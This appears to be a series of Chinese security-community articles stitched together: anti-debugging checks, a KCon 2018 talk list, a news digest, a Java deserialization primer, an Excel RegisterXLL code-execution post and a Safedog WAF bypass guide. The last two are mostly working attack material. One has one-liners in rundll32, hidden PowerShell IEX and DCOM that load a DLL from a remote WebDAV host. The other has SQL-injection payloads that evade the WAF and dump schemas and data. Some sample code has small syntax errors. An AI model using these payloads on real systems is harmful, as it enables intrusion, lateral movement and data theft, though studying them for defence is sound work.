实际上微软为我们封装了一个专门的API —
IsDebuggerPresent()，我们在使用时可以直接用它，有兴趣的朋友可以看看它的反汇编代码，会发现和我们写的几乎一模一样。
### NtGlobalFlag
当我们处于调试状态时，实际上会创建一个调试堆（这部分内容大概可能也许会在不久之后的《Windows调试艺术》中详细解释），我们可以通过检查堆的情况来判断程序是否被调试，NtGlobalFlag就是这样一个标志位，它实际上表示了堆的状态，如果它的0x70，也就是说明有调试器了，代码如下
bool CheckDebug() {
int nNtFlag = 0;
__asm {
MOV EAX, DWORD PTR FS : [0x30]
MOV EAX, DWORD PTR DS : [EAX + 0x68]
MOV nNtFlag, EAX
}
if(nNtFlag==0x70)
nNtFlag=1
return nNtFlag
}
### ProcessHeap
当然，即然堆发生了改变，那我们也可以直接用ProcessHeap的属性来查看是否处于调试状态。主要运用的是ForceFlags和Flags两个标志位，但由于在不同版本的windows上偏移不同，这里就不再给出具体代码了。
### ParentProcess
我们随手编写一个测试程序test，分别在vs调试器、正常状态下打开，运用以下命令来查看父进程的ID
wmic process where Name="test.exe" get ParentProcessId
可以看到父进程是明显不同的，这是因为对于调试器来说，程序被调试也就是说要在它的掌控之下，所以程序必然是它的子进程，而正常状态下，程序的父进程一般都是explorer.exe，我们只需要利用这一点监测当前程序的父进程也就可以实现反调试了
微软提供给了我们如下的函数，虽然还是未公开的，但已经被人研究透了
NTSTATUS WINAPI NtQueryInformationProcess(
__in HANDLE ProcessHandle,
__in PROCESSINFOCLASS ProcessInformationClass,
__out PVOID ProcessInformation,
__in ULONG ProcessInformationLength,
__out_opt PULONG ReturnLength
);
它的第二个参数说对应的结构体如下，其中Reserved3也就是父进程的ID
typedef struct _PROCESS_BASIC_INFORMATION {
PVOID Reserved1;
PPEB PebBaseAddress;
PVOID Reserved2[2];
ULONG_PTR UniqueProcessId;
PVOID Reserved3;
} PROCESS_BASIC_INFORMATION;
因为本身出题我用到了这项技术，为了避免泄题，就只给简单的函数调用的伪代码了
flag = false
pid = GetCurrentProcessID
hp = OpenProcess
NtQueryInformationProcess()
pp = OpenProcess()
if(Reserved3 != xxxx)
flag = 1
return flag
## 总结
上面就是根据我们前面几篇的《Windows调试艺术》学到的知识能够实现的反调试手段了，其实反调试的手段还有很多很多，以后随着文章的更新，还会为继续总结这部分的知识。
代码参考 ： <https://github.com/alphaSeclab/anti-debug> | 社区文章 |
KCon 2018 在经过高质量的闭门培训，以及两天干货议题演讲过后，于8月26日圆满落幕。
一直以来，[KCon](http://kcon.knownsec.com/ "KCon")
都以高质量技术分享闻名，应各位参会者的要求，并通过与演讲者的沟通取得同意后，我们现在将公布18大议题中的14个议题PPT！
### 侠盗猎车 -- 数字钥匙 Hacking
**Kevin2600**
安全研究员，Team-Trinity 小组成员
汽车安全话题日渐火热，而其中汽车门禁系统的安全性尤为受到关注。传统车辆门禁依赖于 RF 控制模块，但最新 TESLA Model 3
淘汰了传统方式，转而使用通过智能手机进行身份验证和解锁车辆的数字钥匙系统。但特斯拉不是市场上唯一的玩家,
其他主要制造商如沃尔沃和一些小型创业公司也在开发数字钥匙系统。本议题我们将分享针对某款数字钥匙系统的研究成果。与会者不仅可了解此类系统潜在的安全缺陷，还将知道如何绕过汽车安全研究过程中的那些坑。
[【PPT下载】](https://github.com/knownsec/KCon/blob/master/2018/25%E6%97%A5/25%E6%97%A5No.2-KEVIN2600.pdf
"\[ppt下载\]")
* * *
### 智能家居安全——身份劫持
**戴中印**
百度高级安全工程师
本议题以如何劫持(窃取)智能家居时代设备的身份“安全凭证”为出发点，调研并分析了目前国内市场的主流产品和设备交互协议，及其所依赖身份凭证的安全性，最终通过“身份劫持”，实现设备和产品的任意远程控制。
[【PPT下载】](https://github.com/knownsec/KCon/blob/master/2018/25%E6%97%A5/25%E6%97%A5No.3-%E6%99%BA%E8%83%BD%E5%AE%B6%E5%B1%85%E5%AE%89%E5%85%A8%E8%BA%AB%E4%BB%BD%E5%8A%AB%E6%8C%81-%E6%8C%BD%E7%A7%8B.pdf
"【PPT下载】")
* * *
### 工业网络安全——某款PLC远控实现
**剑思庭**
复旦大学，软件工程硕士，现任罗克韦尔自动化（中国）有限公司工业安全高级技术顾问
此演讲主要是针对某品牌 PLC 做远程控制，通过对运行的 PLC 做隐藏的控制代码下载到 PLC 内，使 PLC
开启特殊端口，接受外部指令，从而达到可以在工业网络完成 PLC 内网对其他 PLC
的攻击和传染。直接会造成工业基础设施的瘫痪，其危害在于行为十分隐秘，不容易被工控维护人员发现，可以长期控制工业基础设施。
[【PPT下载】](https://github.com/knownsec/KCon/blob/master/2018/25%E6%97%A5/25%E6%97%A5No.4-PLC%E8%BF%9C%E6%8E%A7-%E5%89%91.pdf
"【PPT下载】")
* * *
### BGP安全之殇
**张玉兵**
360企业安全集团--360威胁情报中心
高级安全研究员、资深攻防专家、安全攻防研究团队负责人
从2003到2018年，全球出现了数十起由于BGP自身安全缺陷造成的知名重大安全事故。本议题从 BGP
协议基础入手，从攻防角度及当前安全现状由浅入深逐步剖析 BGPv4 协议信任机制(confidence mechanism)、Special-Prefix、AS_PATH、TTL adjustment
等属性存在的安全缺陷引入的安全攻击问题；站在攻击者角度结合现实情况进行BGP路由安全缺陷的利用，现场通过演示环境模拟/视频演示完成
MITM、DOS、DDOS 和攻击痕迹隐藏等技巧。
并以防御者的视角针对以上攻击从多维度用不同的方法进行检测和有效防御进行研究分享。最后，结合近期权威机构暴出的 NSA 监控项目与 BGP
安全问题，深度剖析其千丝万缕的因果关系。希望再次引起国内相关行业对 BGP 有足够的重视和防护改进。
[【PPT下载】](https://github.com/knownsec/KCon/blob/master/2018/25%E6%97%A5/25%E6%97%A5No.5-BGP%E5%AE%89%E5%85%A8%E4%B9%8B%E6%AE%87_%E5%BC%A0%E7%8E%89%E5%85%B5.pdf
"【PPT下载】")
* * *
### 短链接攻击与防御——被忽略的攻击面
**彦修**
腾讯安全平台部安全工程师
随着微博等新兴媒体的快速发展，短链接开始大面积应用到互联网的各个领域之中。据不完全统计，使用了第三方或自身提供的短链接服务的厂商占到了80%。但是另一方面，短链接的安全问题却一直被用户和厂商所忽视。本议题主要从攻击者角度入手，系统介绍短链接应用的常见算法、利用场景，攻击手法等，并且列举有短连接业务的互联网企业的实际安全问题，理论联系实际为企业的短连接业务提出行之有效的防御方法。
[【PPT下载】](https://github.com/knownsec/KCon/blob/master/2018/25%E6%97%A5/25%E6%97%A5NO.6-%E7%9F%AD%E7%BD%91%E5%9D%80%E7%9A%84%E6%94%BB%E5%87%BB%E4%B8%8E%E9%98%B2%E5%BE%A1-%E5%BD%A6%E4%BF%AE.pdf
"【PPT下载】")
* * *
### 识“黑”寻踪之内存取证
**伍智波**
现就职于中国网安集团旗下的广州三零卫士信息安全有限公司，任信息安全专家，且主要负责为广州市公安局网警支队的网络犯罪案件技术分析工作
本议题将主要讲述在 Windows 下的易失性内存RAM的取证分析。不仅有内存取证技术起源于发展、Windows
的三大内存管理机制、不同环境下的内存取证方法、Volatility
内存分析框架的使用方法，更有通过真实的犯罪侦查案例（将会脱敏），介绍如何安全获取犯罪现场的内存样本，再利用内存取证技术对取得的内存样本进行分析，获得如网络连接记录、进程表记录、注册表信息、命令执行记录等可能有助于破案的电子证据信息，继而进行各类电子证据的交叉分析，尽可能还原出犯罪情景。
[【PPT下载】](https://github.com/knownsec/KCon/blob/master/2018/25%E6%97%A5/25%E6%97%A5NO.7-%E8%AF%86%E9%BB%91%E5%AF%BB%E8%B8%AA%E4%B9%8B%E5%86%85%E5%AD%98%E5%8F%96%E8%AF%81-%E4%BC%8D%E6%99%BA%E6%B3%A2-ok.pdf
"【PPT下载】")
* * *
### 射频攻击—从键盘钩子木马到无线键鼠套装劫持
**石冰**
本科信息安全专业大三在读，数学与信息安全爱好者，cisp-pte 注册渗透测试工程师，owasp 中国分会项目研究小组研究员，看雪安全、i春秋平台安全讲师
键盘是用户在使用计算机过程中重要的输入工具，如果键盘一旦被攻击者监听或控制，那么个人隐私很大程度上也就暴露在了攻击者的视野当中。本议题将展示如何利用射频攻击来进行无线键鼠的监听、劫持来完成用户信息的嗅探，以及对传统和新时代下针对键盘攻击的思路和技巧进行进一步的分析，并在最后给出一些可行的应对方案和措施。
[【PPT下载】](https://github.com/knownsec/KCon/tree/master/2018/25%E6%97%A5/25%E6%97%A5No.8-%E7%9F%B3%E5%86%B0
"【PPT下载】")
* * *
### Chakra 引擎的非 JIT 漏洞与利用
**宋凯**
Kai Song (@exp-sky)腾讯安全玄武实验室高级安全研究员
我们赢得2017年 Pwn2Own 比赛，赛场上包括我们的多支参赛队伍都使用了 Chakra JIT
相关的漏洞。所以近年来脚本引擎的JIT相关的漏洞引起了大家的广泛关注。但这并不代表 Chakra
脚本引擎中其它的逻辑就是安全的。我会在这次议题中详细介绍一个 Chakra
脚本引擎，非JIT相关的漏洞，以及这个漏洞利用的详细过程。在最开始写这个漏洞利用的时候，曾一度认为其是不可用的，最后通过组合多种技巧，成功实现在 Edge
浏览器中的任意代码执行。
[【PPT下载】](https://github.com/knownsec/KCon/blob/master/2018/26%E6%97%A5/26%E6%97%A5No.1-Chakra%E5%BC%95%E6%93%8E%E7%9A%84%E9%9D%9EJIT%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A8-%E5%AE%8B%E5%87%AF.pdf
"【PPT下载】")
* * *
### WASM双刃剑——机制剖析与逆向
**赵光远**
绿盟科技安全研究员
WebAssembly（WASM）是一种专为浏览器设计的新技术。它旨在定义一种可移植，大小和加载时间有效的二进制格式，作为编译目标，可以通过利用通用硬件编译为以本机速度执行
可在各种平台上使用，包括移动和物联网。
在我们演讲中，我们将介绍 WebAssembly 的实现机制，运行机制，以及使用场景。与此同时，我们以使用 WASM
编写的挖矿木马为例，来详细介绍应该如何对这类样本进行分析。
[【PPT下载】](https://github.com/knownsec/KCon/blob/master/2018/26%E6%97%A5/26%E6%97%A5No.2-WASM-%E8%B5%B5%E5%85%89%E8%BF%9C.pdf
"【PPT下载】")
* * *
### Attacking Kerberos
**n1nty@360 A-TEAM**
360 企业安全集团安全研究员
Kerberos, Windows 域环境下默认的身份验证协议。本次议题带你全面走进 Kerberos 的三种子协议以及针对这三种子协议的攻击手法。
[【PPT下载】](https://github.com/knownsec/KCon/blob/master/2018/26%E6%97%A5/26%E6%97%A5No.4-Attacking%20Kerberos-n1nty.pdf
"【PPT下载】")
* * *
### 动态审计Python代码
**聂心明**
n0tr00t 团队成员，亚信安全开发工程师
利用 python 语言的特性，hook python
中危险的函数，把进入到危险函数中的关键参数打印到日志中，利用fuzzing的方法，帮助代码审计人员能快速发现 python
程序中诸如命令执行，sqli，xss 等漏洞，从而提高代码审计效率。
[【PPT下载】](https://github.com/knownsec/KCon/blob/master/2018/26%E6%97%A5/26%E6%97%A5No.5-python%E5%8A%A8%E6%80%81%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1-%E8%81%82%E5%BF%83%E6%98%8E.pdf
"【PPT下载】")
* * *
### Hacking you without password
**泳少@YongShao**
Mobike Security Team，安全工程师，网络尖刀成员。曾为苹果、微软、美团等国内外厂商提交过多个安全漏洞。
本议题主要以 Oauth2.0协议提及多个厂商开发不严，导致身份凭证易让攻击者获得，且讲解如何实现拿到凭证后进行登陆他人账户。以及在即使做了白名单限制后
bypass 的方法和一些修复建议。
本提议中将会介绍 Jetbrains team work 0day
及国内外存在风险的厂商，希望通过本议题能够推动该协议避免的问题。同时还会以某博客某个设计缺陷导致双向登陆等一系列问题为实例。
[【PPT下载】](https://github.com/knownsec/KCon/blob/master/2018/26%E6%97%A5/26%E6%97%A5No.7-Hacking%20You%20Without%20Password-%E6%B3%B3%E5%B0%91.pdf
"【PPT下载】")
* * *
### 智能合约开发中的安全SDLC实践
**Pavlo Radchuk**
Hacken 应用安全工程师
演讲涉及安全 SDLC 实践在智能合约开发中的适用性。
比起大约5000万行代码的 windows 来说，可以用100行代码组成的智能合约的规模要小得多。然而，比起一个 PC 来说，1个 ICO
智能合约风险要高得多。
智能合约变得越来越复杂，我们肯定有些合同可以通过安全 SDLC 的一些实践使合同更安全并将风险降至最低。
[【PPT下载】](https://github.com/knownsec/KCon/blob/master/2018/26%E6%97%A5/26%E6%97%A5No.8-Secure%20SDLC%20Practices%20in%20Smart%20Contracts%20Development%20-Palvo.pdf
"【PPT下载】")
* * *
### PDF JS 引擎交互式 Fuzzing
**Swan@0x557**
Palo Alto Networks Distinguished Engineer
**Heige@0x557**
Knownsec 404 Team Leader
PDF 文件格式及相关漏洞一直以来就是安全研究的热点。最近一段时间，我们通过改进五年前的一套 fuzz 框架，结合新颖的自动化测试策略，也发现了一大批
Adobe Reader
的安全问题。在这个议题里，我们将与大家分享相关研究思路的由来和实现机制，并详细介绍如何将交互元素引入测试中，自动化寻找那些常人难以发现的漏洞。
[【PPT下载】](https://github.com/knownsec/KCon/blob/master/2018/26%E6%97%A5/26%E6%97%A5No.10-PDF%20%20JS%E5%BC%95%E6%93%8E%E4%BA%A4%E4%BA%92%E5%BC%8FFuzzing-%E9%BB%91%E5%93%A5%26swan.pdf
"【PPT下载】")
* * * | 社区文章 |
# 【知识】9月14日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要：** **CVE-2017-8759：SOAP WSDL解析器代码注入漏洞、
DownAndExec：银行恶意软件利用巴西的CDN传播（CDN已经成为传播恶意软件的新方法）、SSRF漏洞测试资源整理（含PPT、测试脚本）、虚拟机控制结构布局、现代蓝牙stacks存在安全漏洞**
****
****资讯类：**** ** ******
************
************
美国政府机构陆续禁用卡巴斯基实验室杀毒软件
<https://mobile.nytimes.com/2017/09/13/us/politics/kaspersky-lab-antivirus-federal-government.html>
卡巴斯基表示2017年8月前攻击160万台计算机受到挖矿类恶意软件的攻击
<https://www.coindesk.com/kaspersky-labs-reveal-increase-mining-botnet-usage/>
**技术类：** ****
********
Halls-of-Valhalla.org上题目的部分writeup
<https://www.jimwilbur.com/2016/07/halls-of-valhalla-beginners-challenge-1-7/>
<https://halls-of-valhalla.org/beta/challenges>
CVE-2017-8759：SOAP WSDL解析器代码注入漏洞
<https://www.mdsec.co.uk/2017/09/exploiting-cve-2017-8759-soap-wsdl-parser-code-injection/>
FireEye AX 5400安全漏洞: 在Live-Mode下分析可能连接到物理主机和相邻网络
<https://insinuator.net/2017/09/fireeye-security-bug-connection-to-physical-host-and-adjacent-network-possible-during-analysis-in-live-mode/>
DownAndExec：银行恶意软件利用巴西的CDN传播（CDN已经成为传播恶意软件的新方法）
<https://www.welivesecurity.com/2017/09/13/downandexec-banking-malware-cdns-brazil/>
Heap Exploitation：滥用UAF漏洞
<https://0x00sec.org/t/heap-exploitation-abusing-use-after-free/3580>
WordPress对插件安全性的不及时处理将加剧站点被恶意接管
<https://www.pluginvulnerabilities.com/2017/09/11/wordpress-poor-handling-of-plugin-security-exacerbates-malicious-takeover-of-display-widgets/>
SSRF漏洞测试资源整理（含PPT、测试脚本）
<https://github.com/cujanovic/SSRF-Testing/>
Handy Collaborator ：用于挖掘out-of-band类漏洞的Burp插件介绍
<https://techblog.mediaservice.net/2017/09/handy-collaborator-because-burp-suite-collaborator-is-useful-also-during-manual-testing/>
一个监控Windows控制台的demo
<https://eyeofrablog.wordpress.com/2017/09/13/windows-console-monitoring/>
raven：一个针对Linkedin的信息收集工具
<https://github.com/0x09AL/raven>
Hacker One发布2017 hacker-power安全报告
<https://ma.hacker.one/rs/168-NAU-732/images/hacker-powered-security-report-2017.pdf>
虚拟机控制结构布局
<https://github.com/LordNoteworthy/cpu-internals/blob/master/pdf/VMCS.pdf>
现代蓝牙stacks存在安全漏洞，本报告为针对该漏洞的分析
<http://go.armis.com/hubfs/BlueBorne%20Technical%20White%20Paper.pdf> | 社区文章 |
# 【技术分享】如何通过Excel.Application RegisterXLL()方法执行DLL
|
##### 译文声明
本文是翻译文章，文章来源：gist.github.com/ryhanson
原文地址：<https://gist.github.com/ryhanson/227229866af52e2d963cf941af135a52>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：70RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
在Excel中，我们可以通过初始化Excel.Application
COM对象，将某个DLL传递给RegisterXLL方法，最终实现通过Excel加载并执行该DLL的目的。DLL所在的路径不一定是本地路径，也可以是指向远程WebDAV服务器的UNC路径。
我们通过WebDAV渠道下载DLL文件时，需要注意的是，DLL仍会被写到本地磁盘中，但所下载的文件与载入到进程中的文件并不一致。这种情况适用于所有通过WebDAV下载的文件，下载的文件在本地磁盘中的具体路径为：
C:WindowsServiceProfilesLocalServiceAppDataLocalTempTfsStoreTfs_DAV
在使用RegisterXLL函数时，我们需要提供一个XLL加载项，XLL加载项实际上就是一个带有特定导出函数的特定DLL。关于XLL的更多信息可以参考[MSDN](https://msdn.microsoft.com/en-us/library/office/bb687911.aspx)上的相关资料。
我们也可以双击.xll文件来执行XLL，但此时会出现一个安全警告。[@rxwx](https://github.com/rxwx)详细[描述](https://github.com/rxwx)了这种使用场景，同时给出了一个简单的XLL样例。
对于Office而言，非常有趣的一点是它在处理某些文件扩展名时会进行文件格式嗅探，这些文件包括.xls、.xlk以及.doc（可能还涉及其他扩展名）。这意味着我们可以将.xll修改为.xls或者.xlk，然后Office还是可以打开这种文件。然而，这种情况下，我们依然会触发前面提到过的加载项警告信息，同时还有另一个警告信息，提示文件格式与文件扩展名不匹配。
由于加载项警告信息中会显示文件名的完全路径，因此我们可以使某些unicode字符来掩盖.xll扩展名。我最喜欢使用的一种字符就是“[从右向左覆盖字符（Right-to-Left Override
Character）](http://www.fileformat.info/info/unicode/char/202e/index.htm)”。使用这种字符，我们就能任意伪造Excel文件的扩展名。比如，文件名“Footbau202Eslx.xll”会显示为“Footballx.xls”，因为从该unicode字符之后的所有字符顺序都会左右颠倒。
如下代码为某个DLL的示例代码，该DLL有一个xlAutoOpen导出函数，函数内部有一条执行语句，这种写法就可以构造出一个XLL文件。与其他DLL文件类似，我们可以在DLL_PROCESS_ATTACH分支中触发DLL的执行。
// Compile with: cl.exe notepadXLL.c /LD /o notepad.xll
#include <Windows.h>
__declspec(dllexport) void __cdecl xlAutoOpen(void);
void __cdecl xlAutoOpen() {
// Triggers when Excel opens
WinExec("cmd.exe /c notepad.exe", 1);
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
我们可以通过多种方法执行这个XLL文件。
使用Javascript来执行：
// Create Instace of Excel.Application COM object
var excel = new ActiveXObject("Excel.Application");
// Pass in path to the DLL (can use any extension)
excel.RegisterXLL("C:\Users\Bob\AppData\Local\Temp\evilDLL.xyz");
// Delivered via WebDAV
excel.RegisterXLL("\\webdavserver\files\evilDLL.jpg");
在一行代码中，使用Rundll32.exe以及mshtml.dll来执行：
rundll32.exe javascript:"..mshtml.dll,RunHTMLApplication ";x=new%20ActiveXObject('Excel.Application');x.RegisterXLL('\\webdavserver\files\evilDLL.jpg');this.close();
使用Powershell来执行：
# Create Instace of Excel.Application COM object
$excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application"))
# Pass in path to the DLL (can use any extension)
$excel.RegisterXLL("C:UsersBobDownloadsevilDLL.txt")
# Delivered via WebDAV
$excel.RegisterXLL("\webdavserverfilesevilDLL.jpg");
# One liner with WebDAV:
powershell -w hidden -c "IEX ((New-Object -ComObject Excel.Application).RegisterXLL('\webdavserverfilesevilDLL.jpg'))"
[@rxwx](https://github.com/rxwx)发现，如果目标环境支持[DCOM](https://twitter.com/buffaloverflow/status/888427071327916032)，那么我们也可以使用这种方法实现横向渗透，如下所示：
$Com = [Type]::GetTypeFromProgID("Excel.Application","192.168.1.111")
$Obj = [System.Activator]::CreateInstance($Com)
# Detect Office bitness so proper DLL can be used
$isx64 = [boolean]$obj.Application.ProductCode[21]
# Load DLL from WebDAV
$obj.Application.RegisterXLL("\webdavserveraddinscalcx64.dll")
[@rvrsh3ll](https://github.com/rxwx)在[Invoke-DCOM.ps1](https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/master/Invoke-DCOM.ps1)中引入了这种DCOM技术（感谢[@rxwx](https://github.com/rxwx)的研究成果）。
此外，[@MooKitty](https://github.com/MoooKitty)同样给出了XLL的PoC代码。 | 社区文章 |
# 【技术分享】JAVA反序列化安全实例解析
|
##### 译文声明
本文是翻译文章，文章来源：携程信息安全响应中心
译文仅供参考，具体内容表达以及含义原文为准。
****
**什么是序列化**
序列化
(Serialization)将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间，对象将其当前状态写入到临时或持久性存储区。以后，可以通过从存储区中读取或反序列化对象的状态，重新创建该对象。
简单来说：
序列化： 将数据结构或对象转换成二进制串的过程
反序列化：将在序列化过程中所生成的二进制串转换成数据结构或者对象的过程
下面是将字符串对象先进行序列化，存储到本地文件，然后再通过反序列化进行恢复的样例代码：
public static void main(String args[]) throws Exception {
String obj = "hello world!";
// 将序列化对象写入文件object.db中
FileOutputStream fos = new FileOutputStream("object.db");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(obj);
os.close();
// 从文件object.db中读取数据
FileInputStream fis = new FileInputStream("object.db");
ObjectInputStream ois = new ObjectInputStream(fis);
// 通过反序列化恢复对象obj
String obj2 = (String)ois.readObject();
ois.close();
}
**反序列化漏洞原理**
反序列化漏洞的本质就是反序列化机制打破了数据和对象的边界，导致攻击者注入的恶意序列化数据在反序列化过程中被还原成对象，控制了对象就可能在目标系统上面执行攻击代码。Java序列化应用于RMI
JMX JMS 技术中。
**漏洞危害**
**案例一：Apache ActiveMQ 5.12.0 远程代码执行漏洞(JMS)**
Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞，该漏洞源于程序未能限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java
Message Service (JMS) ObjectMessage对象利用该漏洞执行任意代码。
受到影响的消息系统如下
Apache ActiveMQ 5.12.0 and earlier
HornetQ 2.4.0 and earlier
Oracle OpenMQ 5.1 and earlier
IBM Websphere MQ 8.0.0.4 and earlier
Oracle Weblogic 12c and earlier
Pivotal RabbitMQ JMS client 1.4.6 and earlier
IBM MessageSight MessageSight V1.2 JMSClient and earlier
SwiftMQ JMS client 9.7.3 and earlier
Apache ActiveMQ Artemis client 1.2.0 and earlier
Apache Qpid JMS client 0.9.0 and earlier
Amazon SQS Java Messaging Library 1.0.0 and earlier
**案例二：JBoss 反序列化漏洞(JMX)**
Jboss利用的是HTTP协议，可以在任何端口上运行，默认安装在8080端口中。JMX是一个java的管理协议，在Jboss中的JMXInvokerServlet可以使用HTTP协议与其进行通话。这一通信功能依赖于java的序列化类。
本地构造恶意的序列化对象
构造恶意的序列化对象发送给目标主机：
执行系统命令
RedHat发布JBoss相关产品的解决方案:
https://access.redhat.com/solutions/2045023
受影响的JBoss产品有：
Environment
Red Hat JBoss A-MQ 6.x
Red Hat JBoss BPM Suite (BPMS) 6.x
Red Hat JBoss BRMS 6.x
Red Hat JBoss BRMS 5.x
Red Hat JBoss Data Grid (JDG) 6.x
Red Hat JBoss Data Virtualization (JDV) 6.x
Red Hat JBoss Data Virtualization (JDV) 5.x
Red Hat JBoss Enterprise Application Platform 6.x
Red Hat JBoss Enterprise Application Platform 5.x
Red Hat JBoss Enterprise Application Platform 4.3.x
Red Hat JBoss Fuse 6.x
Red Hat JBoss Fuse Service Works (FSW) 6.x
Red Hat JBoss Operations Network (JBoss ON) 3.x
Red Hat JBoss Portal 6.x
Red Hat JBoss SOA Platform (SOA-P) 5.x
Red Hat JBoss Web Server (JWS) 3.x
**案例三:**
Jenkins
Remoting的相关API是用于实现分布式环境中master和slave节点或者master和CLI的访问，API没有身份认证并且支持序列化对象。CVE-2016-0788通过Jenkins
Remoting巧妙地开启JRMP，JRMP触发反序列化操作,从而进行漏洞的利用。作者已经提供了完整利用POC：
在远程服务器开启JRMI端口
连接远程服务端口，发送恶意序列化数据包
这样在Jenkins的根目录就会生成一个pwned文件。
受影响的版本
All Jenkins main line releases up to and including 1.649
All Jenkins LTS releases up to and including 1.642.1
**
**
**漏洞防御**
1、反序列化对象白名单控制，在resolveClass方法中校验对象名字。
public class LookAheadObjectInputStream extends ObjectInputStream {
public LookAheadObjectInputStream(InputStream inputStream)
throws IOException {
super(inputStream);
}
/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException,
ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException(
"Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}
2、序列化数据采用对称加密进行传输，接口调用增加身份认证。(此种方法仅仅能提升攻击成本)
3、因为序列化机制不能保证数据的完整和和保密性，如果类中存在敏感数据并且那么这个类还需要序列化，需要在特定对象的一个域上关闭serialization，在这个域前加上关键字transient即可。
更多关注携程安全应急响应中心公众号（CSRC） | 社区文章 |
# Bypass MySQL Safedog
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
跟团队小伙伴一起日狗
## 判断注入
安全狗不让基本运算符后跟数字字符串
特殊运算符绕
<http://172.16.1.157/sql/Less-1/?id=1'and> -1=-1 -- + 正常
<http://172.16.1.157/sql/Less-1/?id=1'and> -1=-2 -- + 不正常
<http://172.16.1.157/sql/Less-1/?id=1'and> ~1=~1 -- + 正常
<http://172.16.1.157/sql/Less-1/?id=1'and> ~1=~2 -- + 不正常
16进制绕
<http://172.16.1.157/sql/Less-1/?id=1'> and 0x0 <> 0x1-- + 正常
<http://172.16.1.157/sql/Less-1/?id=1'> and 0x0 <> 0x0-- + 不正常
<http://172.16.1.157/sql/Less-1/?id=1'> and 0x0 <=> 0x0-- + 正常
<http://172.16.1.157/sql/Less-1/?id=1'> and 0x0 <=> 0x1-- + 不正常
<http://172.16.1.157/sql/Less-1/?id=1'> and 0x0 xor 0x1-- + 正常
<http://172.16.1.157/sql/Less-1/?id=1'> and 0x0 xor 0x0-- + 不正常
BINARY绕
<http://172.16.1.157/sql/Less-1/?id=1'> and BINARY 1-- + 正常
<http://172.16.1.157/sql/Less-1/?id=1'> and BINARY 0-- + 不正常
conv()函数绕
<http://172.16.1.157/sql/Less-1/?id=1'> and CONV(1,11,2)-- + 正常
<http://172.16.1.157/sql/Less-1/?id=1'> and CONV(0,11,2)-- + 不正常
concat()函数绕
<http://172.16.1.157/sql/Less-1/?id=1'> and CONCAT(1)-- + 正常
<http://172.16.1.157/sql/Less-1/?id=1'> and CONCAT(0)-- + 不正常
## 判断字段数
绕order by
内联
<http://172.16.1.157/sql/Less-1/?id=1'/*!14440order> by*/ 3 -- +
注释换行
<http://172.16.1.157/sql/Less-1/?id=1'order%23%0aby> 3 -- +
## 联合查询
关键在于打乱union select
内联
<http://172.16.1.157/sql/Less-1/?id=-1'> /*!14440union*//*!14440select */1,2,3 -- +
注释后跟垃圾字符换行
<http://172.16.1.157/sql/Less-1/?id=-1'union%23hhh%0aselect> 1,2,3--+
union distinct | distinctrow | all
<http://172.16.1.157/sql/Less-1/?id=-1'> union distinct %23%0aselect 1,2,3 -- +
<http://172.16.1.157/sql/Less-1/?id=-1'> union distinctrow %23%0aselect 1,2,3 -- +
<http://172.16.1.157/sql/Less-1/?id=-1'> union all%23%0aselect 1,2,3 -- +
接下来是查数据，我在这使用注释垃圾字符换行也就是%23a%0a的方法来绕，你可以用上面说的/*!14440*/内联
查当前数据库名
<http://172.16.1.157/sql/Less-1/?id=-1'> union %23chabug%0a select 1,database%23%0a(%0a),3 -- +
查其他库名 安全狗4.0默认没开information_schema防护的时候可以过，开了information_schema防护之后绕不过去，哭唧唧😭
<http://172.16.1.157/sql/Less-1/?id=-1'> union %23asdasdasd%0a select 1,(select schema_name from %23%0ainformation_schema.schemata limit 1,1),3 -- +
查表名
<http://172.16.1.157/sql/Less-1/?id=-1'> union %23asdasdasd%0a select 1,(select table_name from %23%0ainformation_schema.tables where table_schema=database(%23%0a) limit 1,1),3 -- +
查列名，首先是没开information_schema防护时
<http://172.16.1.157/sql/Less-1/?id=-1'> union %23a%0a select 1,(select column_name from %23%0a information_schema.columns where table_name=0x7573657273 and%23a%0a table_schema=database(%23%0a) limit 1,1),3 -- +
开information_schema防护有两种姿势，不过需要知道表名
一、子查询
<http://172.16.1.157/sql/Less-1/?id=-1'> union %23a%0a SELECT 1,2,x.2 from %23a%0a(SELECT * from %23a%0a (SELECT 1)a, (SELECT 2)b union %23a%0aSELECT *from %23a%0aemails)x limit 2,1 -- +
二、用join和using爆列名，前提是页面可以报错，需要已知表名
<http://172.16.1.157/sql/Less-1/?id=-1'> union %23a%0aSELECT 1,2,(select * from %23a%0a(select * from %23a%0aemails a join emails b) c) -- +
然后通过using来继续爆
<http://172.16.1.157/sql/Less-1/?id=-1'> union %23a%0aSELECT 1,2,(select * from %23a%0a(select * from %23a%0aemails a join emails b using(id)) c) -- +
查数据
<http://172.16.1.157/sql/Less-1/?id=-1'> union %23a%0aSELECT 1,2,(select email_id from%23a%0a emails limit 1,1) -- +
其实配合MySQL5.7的特性可以使用sys这个库来绕过，具体看chabug发的文章吧
[注入bypass之捶狗开锁破盾](https://www.chabug.org/web/1019.html)
> 在下文中不再提及开启information_schema防护的绕过姿势，自行举一反三。
## 报错注入
报错注入只提及updatexml报错
关键在于updatexml()结构打乱
and updatexml(1,1,1 不拦截
and updatexml(1,1,1) 拦截
不让updatexml匹配到两个括号就行了
用户名 库名
